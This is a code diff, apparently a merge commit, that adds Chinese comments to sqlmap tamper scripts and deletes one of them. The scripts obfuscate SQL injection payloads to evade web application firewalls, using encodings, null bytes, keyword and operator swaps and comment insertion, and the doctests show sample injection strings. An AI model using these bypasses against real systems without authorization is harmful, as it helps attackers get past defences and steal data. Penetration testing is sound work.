Merge pull request '合并' (#6) from shichengkun_branch into main

main
pfu6rofc7 4 months ago
commit e85cf99e42

@ -9,24 +9,35 @@ import re
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST # 设置优先级为最高
def dependencies(): def dependencies():
pass pass
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces instances of <int> UNION with <int>e0UNION 这个函数用于篡改tamper输入的payload以绕过某些安全防护措施
Requirement: 参数
* MySQL payload要篡改的原始payload
* MsSQL **kwargs其他可选参数在本函数中未使用
Notes: 功能
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf 将payload中的<int> UNION替换为<int>e0UNION以尝试绕过安全防护
>>> tamper('1 UNION ALL SELECT') 要求
'1e0UNION ALL SELECT' * 适用于MySQL和MsSQL数据库
注意
* 参考文档https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
* 该函数假设输入的payload是有效的并且不进行任何错误处理
示例
>>> tamper('1 UNION ALL SELECT')
'1e0UNION ALL SELECT'
""" """
# 使用正则表达式替换payload中的数字和UNION之间的空格为'e0'
# \g<1>表示匹配的第一个括号中的内容,\g<2>表示第二个括号中的内容
return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload

@ -7,23 +7,31 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOWEST# 设置优先级为最低
def dependencies(): def dependencies():
pass pass
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) 这个函数用于篡改tamper输入的payload将其中的单引号字符'替换为其UTF-8全角字符对应物。
References: 参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
将payload中的单引号'替换为UTF-8编码的全角单引号%EF%BC%87用于绕过某些安全防护措施。
参考链接
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1") 示例
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' >>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
""" """
# 替换payload中的单引号为UTF-8全角单引号
return payload.replace('\'', "%EF%BC%87") if payload else payload return payload.replace('\'', "%EF%BC%87") if payload else payload

@ -7,17 +7,29 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOWEST# 设置优先级为最低
def dependencies(): def dependencies():
"""
这个函数用于定义依赖关系但在当前脚本中未实现任何功能
通常这个函数用于检查当前函数所需的依赖是否满足
"""
pass pass
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) 这个函数用于篡改tamper输入的payload将其中的单引号字符'替换为其非法的双Unicode编码对应物。
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
将payload中的单引号')替换为%00%27这是一种非法的Unicode编码方式用于绕过某些安全防护措施。
>>> tamper("1 AND '1'='1") 示例
'1 AND %00%271%00%27=%00%271' >>> tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
""" """
return payload.replace('\'', "%00%27") if payload else payload return payload.replace('\'', "%00%27") if payload else payload # 替换payload中的单引号为%00%27

@ -15,23 +15,30 @@ __priority__ = PRIORITY.LOWEST
def dependencies(): def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
# 显示警告信息指出该tamper脚本仅适用于Microsoft Access数据库
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Appends (Access) NULL byte character (%00) at the end of payload 这个函数用于篡改tamper输入的payload通过在末尾添加一个NULL字节%00
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
在payload的末尾添加一个NULL字节%00这在对付某些弱Web应用防火墙时非常有用特别是当后端数据库管理系统是Microsoft Access时
Requirement: 要求
* Microsoft Access * 仅适用于Microsoft Access数据库
Notes: 注意
* Useful to bypass weak web application firewalls when the back-end * 这种技术除了可以绕过Web应用防火墙外还有其他可能的用途
database management system is Microsoft Access - further uses are
also possible
Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection 参考链接
* http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
>>> tamper('1 AND 1=1') 示例
'1 AND 1=1%00' >>> tamper('1 AND 1=1')
'1 AND 1=1%00'
""" """
return "%s%%00" % payload if payload else payload return "%s%%00" % payload if payload else payload # 如果payload不为空则在其末尾添加NULL字节%00

@ -5,20 +5,28 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.convert import encodeBase64 from lib.core.convert import encodeBase64 # 导入Base64编码函数
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 导入优先级枚举
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW # 设置优先级为低
def dependencies(): def dependencies():
pass pass
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Base64-encodes all characters in a given payload 这个函数用于篡改tamper输入的payload将所有字符进行Base64编码
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
对输入的payload进行Base64编码这可以用于绕过某些对特殊字符有限制的安全防护措施
>>> tamper("1' AND SLEEP(5)#") 示例
'MScgQU5EIFNMRUVQKDUpIw==' >>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
""" """
return encodeBase64(payload, binary=False) if payload else payload return encodeBase64(payload, binary=False) if payload else payload # 如果payload不为空则对其进行Base64编码binary=False表示结果为ASCII字符串

@ -16,44 +16,46 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #' 这个函数用于篡改tamper输入的payload将大于操作符'>)替换为'NOT BETWEEN 0 AND #',将等于操作符('=')替换为'BETWEEN # AND #'。
Tested against: 测试情况
* Microsoft SQL Server 2005 * 微软 SQL Server 2005
* MySQL 4, 5.0 and 5.5 * MySQL 4, 5.0 5.5
* Oracle 10g * Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0 * PostgreSQL 8.3, 8.4, 9.0
Notes: 注意
* Useful to bypass weak and bespoke web application firewalls that * 这个替换很有用可以绕过那些只过滤大于字符的弱Web应用防火墙
filter the greater than character * BETWEEN子句是SQL标准因此这个tamper脚本应该适用于所有数据库
* The BETWEEN clause is SQL standard. Hence, this tamper script
should work against all (?) databases 示例
>>> tamper('1 AND A > B--')
>>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
'1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--')
>>> tamper('1 AND A = B--') '1 AND A BETWEEN B AND B--'
'1 AND A BETWEEN B AND B--' >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
""" """
retVal = payload
if payload: retVal = payload # 初始化返回值
if payload:# 如果payload不为空
# 使用正则表达式查找并替换大于操作符('>
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)
if match: if match: # 如果找到匹配项
_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
retVal = retVal.replace(match.group(0), _) retVal = retVal.replace(match.group(0), _) # 替换匹配项
else: else:
retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) # 替换大于操作符
if retVal == payload: if retVal == payload: # 如果返回值未改变,尝试替换等于操作符('=
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload) match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload)
if match: if match:# 如果找到匹配项
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
retVal = retVal.replace(match.group(0), _) retVal = retVal.replace(match.group(0), _)# 替换匹配项
return retVal return retVal# 返回篡改后的payload

@ -16,28 +16,29 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Injects keyword binary where possible 这个函数用于篡改tamper输入的payload注入MySQL中的关键字'binary'以尝试绕过某些安全防护措施
Requirement: 要求
* MySQL * 仅适用于MySQL数据库
>>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') 示例
'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
>>> tamper('1 AND 2>1') '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
'1 AND binary 2>binary 1' >>> tamper('1 AND 2>1')
>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') '1 AND binary 2>binary 1'
'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
""" """
retVal = payload retVal = payload # 初始化返回值
if payload: if payload: # 如果payload不为空
retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) # 替换NULL为binary NULL
retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal)# 在THEN和ELSE后的数字或十六进制值前添加binary关键字
retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal)# 在数字比较操作中添加binary关键字
retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal)# 在AND或OR条件后的数字前添加binary关键字
retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal)# 在比较操作符前的数字前添加binary关键字
retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) # 在十六进制值前添加binary关键字
retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) # 移除多余的binary关键字
return retVal return retVal # 返回篡改后的payload

@ -5,11 +5,12 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re import re# 导入正则表达式模块
from lib.core.data import kb from lib.core.data import kb # 导入知识库包含SQL关键字等信息
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 导入优先级枚举
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
def dependencies(): def dependencies():
@ -17,34 +18,45 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE 这个函数用于篡改tamper输入的payload通过替换空格字符和等号来绕过Blue Coat SGOS的WAF
Requirement: 功能
* Blue Coat SGOS with WAF activated as documented in * 将SQL语句后的空格替换为有效的随机空白字符
https://kb.bluecoat.com/index?page=content&id=FAQ2147 * 将等号=替换为LIKE操作符
Tested against: 要求
* Blue Coat SGOS且WAF已激活参考文档https://kb.bluecoat.com/index?page=content&id=FAQ2147
测试情况
* MySQL 5.1, SGOS * MySQL 5.1, SGOS
Notes: 注意
* Useful to bypass Blue Coat's recommended WAF rule configuration * 这个篡改方法对于绕过Blue Coat推荐的WAF规则配置很有用
>>> tamper('SELECT id FROM users WHERE id = 1') 示例
'SELECT%09id FROM%09users WHERE%09id LIKE 1' >>> tamper('SELECT id FROM users WHERE id = 1')
'SELECT%09id FROM%09users WHERE%09id LIKE 1'
""" """
def process(match): def process(match):
"""
辅助函数用于处理正则匹配的结果
将匹配到的SQL关键字替换为带有%09制表符的版本
"""
word = match.group('word') word = match.group('word')
if word.upper() in kb.keywords: if word.upper() in kb.keywords:
return match.group().replace(word, "%s%%09" % word) return match.group().replace(word, "%s%%09" % word)
else: else:
return match.group() return match.group()
retVal = payload retVal = payload # 初始化返回值
if payload: if payload:
# 替换SQL关键字后跟非单词字符或字符串末尾的空格
retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal)
# 将等号替换为LIKE操作符
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
# 移除多余的%09空格
retVal = retVal.replace("%09 ", "%09") retVal = retVal.replace("%09 ", "%09")
return retVal return retVal

@ -1,42 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
Notes:
* Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset
>>> tamper('SELECT FIELD FROM%20TABLE')
'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
"""
retVal = payload
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += '%%25%s' % payload[i + 1:i + 3]
i += 3
else:
retVal += '%%25%.2X' % ord(payload[i])
i += 1
return retVal

@ -5,45 +5,54 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import string import string # 导入字符串常量库,用于处理字符和十六进制数字
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOWEST# 设置优先级为最低
def dependencies(): def dependencies():
pass pass
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) 这个函数用于篡改tamper输入的payload通过URL编码所有字符不处理已经编码的字符
Tested against: 功能
* 将输入的SQL语句中的所有字符进行URL编码
* 例如'SELECT'转换为'%53%45%4C%45%43%54'
测试情况
* Microsoft SQL Server 2005 * Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5 * MySQL 4, 5.0 5.5
* Oracle 10g * Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0 * PostgreSQL 8.3, 8.4, 9.0
Notes: 注意
* Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * 这个方法对于绕过一些非常弱的Web应用防火墙很有用这些防火墙在处理请求时不进行URL解码
* The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS * Web服务器会传递解码后的版本因此应该适用于任何数据库管理系统DBMS
>>> tamper('SELECT FIELD FROM%20TABLE') 示例
'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' >>> tamper('SELECT FIELD FROM%20TABLE')
'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
""" """
retVal = payload
if payload: retVal = payload # 初始化返回值为输入的payload
retVal = ""
i = 0
if payload: # 如果payload不为空
retVal = "" # 初始化返回值字符串
i = 0 # 初始化索引
# 遍历payload中的每个字符
while i < len(payload): while i < len(payload):
# 检查当前字符是否为%且后面两个字符是十六进制数字(已编码的字符)
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3] retVal += payload[i:i + 3] # 如果是已编码的字符,直接添加到返回值
i += 3 i += 3 # 移动索引,跳过已处理的三个字符
else: else:
retVal += '%%%.2X' % ord(payload[i]) # 对未编码的字符进行URL编码并添加到返回值
i += 1 retVal += '%%%.2X' % ord(payload[i])# 将字符转换为其ASCII值的十六进制表示
i += 1 # 移动索引,处理下一个字符
return retVal return retVal # 返回篡改后的payload

@ -8,46 +8,62 @@ See the file 'LICENSE' for copying permission
import os import os
import string import string
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage # 从核心库导入单次警告消息函数
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOWEST # 设置优先级为最低
def dependencies(): def dependencies():
"""
这个函数用于在运行时检查依赖关系并给出警告信息
功能
- 显示一条单次警告消息指出当前的tamper脚本仅适用于ASP或ASP.NET Web应用程序
"""
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) 这个函数用于篡改tamper输入的payload通过Unicode-URL编码所有字符不处理已经编码的字符
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
- 将输入的payload中的字符转换为Unicode-URL编码格式例如'SELECT'转换为'%u0053%u0045%u004C%u0045%u0043%u0054'
Requirement: 要求
* ASP * 仅适用于ASP和ASP.NET环境
* ASP.NET
Tested against: 测试情况
* Microsoft SQL Server 2000 * Microsoft SQL Server 2000
* Microsoft SQL Server 2005 * Microsoft SQL Server 2005
* MySQL 5.1.56 * MySQL 5.1.56
* PostgreSQL 9.0.3 * PostgreSQL 9.0.3
Notes: 注意
* Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset * 这个篡改方法对于绕过那些在处理请求前不进行Unicode URL解码的弱Web应用防火墙很有用
>>> tamper('SELECT FIELD%20FROM TABLE') 示例
'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' >>> tamper('SELECT FIELD%20FROM TABLE')
'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload: # 如果payload不为空
retVal = "" retVal = "" # 初始化返回值字符串
i = 0 i = 0 # 初始化索引
# 遍历payload中的每个字符
while i < len(payload): while i < len(payload):
# 如果当前字符是%且后面两个字符是十六进制数字已编码的字符则进行Unicode-URL编码
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += "%%u00%s" % payload[i + 1:i + 3] retVal += "%%u00%s" % payload[i + 1:i + 3]
i += 3 i += 3
else: else:
# 对未编码的字符进行Unicode-URL编码并添加到返回值
retVal += '%%u%.4X' % ord(payload[i]) retVal += '%%u%.4X' % ord(payload[i])
i += 1 i += 1

@ -5,35 +5,48 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import string import string # 导入字符串常量库,用于处理字符和十六进制数字
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) 这个函数用于篡改tamper输入的payload通过Unicode转义非编码字符不处理已经编码的字符
Notes: 参数
* Useful to bypass weak filtering and/or WAFs in JSON contexes payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
>>> tamper('SELECT FIELD FROM TABLE') 功能
'\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045' - 将输入的payload中的字符转换为Unicode转义序列例如'SELECT'转换为'\u0053\u0045\u004C\u0045\u0043\u0054'
注意
* 这个方法对于绕过在JSON上下文中的弱过滤和/或Web应用防火墙WAFs很有用
示例
>>> tamper('SELECT FIELD FROM TABLE')
'\\u0053\\u0045\\u004C\\u0045\\u0043\\u0054 \\u0020\\u0046\\u0049\\u0045\\u004C\\u0044 \\u0046\\u0052\\u004F\\u004D \\u0054\\u0041\\u0042\\u004C\\u0045'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload: # 如果payload不为空
retVal = "" retVal = "" # 初始化返回值字符串
i = 0 i = 0 # 初始化索引
# 遍历payload中的每个字符
while i < len(payload): while i < len(payload):
# 如果当前字符是%且后面两个字符是十六进制数字已编码的字符则进行Unicode转义
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += "\\u00%s" % payload[i + 1:i + 3] retVal += "\\u00%s" % payload[i + 1:i + 3]
i += 3 i += 3
else: else:
# 对未编码的字符进行Unicode转义并添加到返回值
retVal += '\\u%.4X' % ord(payload[i]) retVal += '\\u%.4X' % ord(payload[i])
i += 1 i += 1 # 移动索引,处理下一个字符
return retVal return retVal

@ -5,13 +5,14 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os import os # 导入操作系统接口模块
import re import re # 导入正则表达式模块
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage # 从核心库导入单次警告消息函数
from lib.core.enums import DBMS from lib.core.enums import DBMS # 从核心库导入数据库管理系统枚举
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为高
__priority__ = PRIORITY.HIGH __priority__ = PRIORITY.HIGH
def dependencies(): def dependencies():
@ -19,22 +20,33 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart 这个函数用于篡改tamper输入的payload将MySQL中的'LIMIT M, N'语句替换为其等效的'LIMIT N OFFSET M'形式
Requirement: 参数
* MySQL payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Tested against: 要求
* MySQL 5.0 and 5.5 * 仅适用于MySQL数据库
>>> tamper('LIMIT 2, 3') 测试情况
'LIMIT 3 OFFSET 2' * MySQL 5.0 5.5
注意
* 这个篡改方法对于绕过某些针对'LIMIT M, N'形式的防御机制很有用
示例
>>> tamper('LIMIT 2, 3')
'LIMIT 3 OFFSET 2'
""" """
retVal = payload
retVal = payload # 初始化返回值为输入的payload
# 使用正则表达式查找'LIMIT M, N'形式的语句
match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
if match: if match: # 如果找到匹配项
# 替换为'LIMIT N OFFSET M'形式
retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))
return retVal return retVal # 返回篡改后的payload

@ -19,26 +19,37 @@ def dependencies():
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart 这个函数用于篡改tamper输入的payload将MySQL中的'MID(A, B, C)'语句替换为其等效的'MID(A FROM B FOR C)'形式
Requirement: 参数
* MySQL payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Tested against: 要求
* MySQL 5.0 and 5.5 * 仅适用于MySQL数据库
>>> tamper('MID(VERSION(), 1, 1)') 测试情况
'MID(VERSION() FROM 1 FOR 1)' * MySQL 5.0 5.5
注意
* 使用这个tamper脚本时你可能需要考虑使用'--no-cast'选项以避免类型转换问题
示例
>>> tamper('MID(VERSION(), 1, 1)')
'MID(VERSION() FROM 1 FOR 1)'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
# 构建警告信息,提示用户可能需要使用'--no-cast'选项
warnMsg = "you should consider usage of switch '--no-cast' along with " warnMsg = "you should consider usage of switch '--no-cast' along with "
warnMsg += "tamper script '%s'" % os.path.basename(__file__).split(".")[0] warnMsg += "tamper script '%s'" % os.path.basename(__file__).split(".")[0]
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 使用正则表达式查找'MID(A, B, C)'形式的语句
match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "") match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "")
if match: if match: # 如果找到匹配项
# 替换为'MID(A FROM B FOR C)'形式
retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3))) retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3)))
return retVal return retVal # 返回篡改后的payload

@ -5,11 +5,11 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re import re # 导入正则表达式模块
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL # 设置优先级为普通
def dependencies(): def dependencies():
pass pass
@ -32,9 +32,10 @@ def tamper(payload, **kwargs):
'SELECT ABS/**/(1)' 'SELECT ABS/**/(1)'
""" """
retVal = payload retVal = payload # 初始化返回值为输入的payload
if payload: if payload:
# 使用正则表达式查找单词后紧跟'('的模式,并在'('前添加内联注释'/**/'
retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal) retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal)
return retVal return retVal

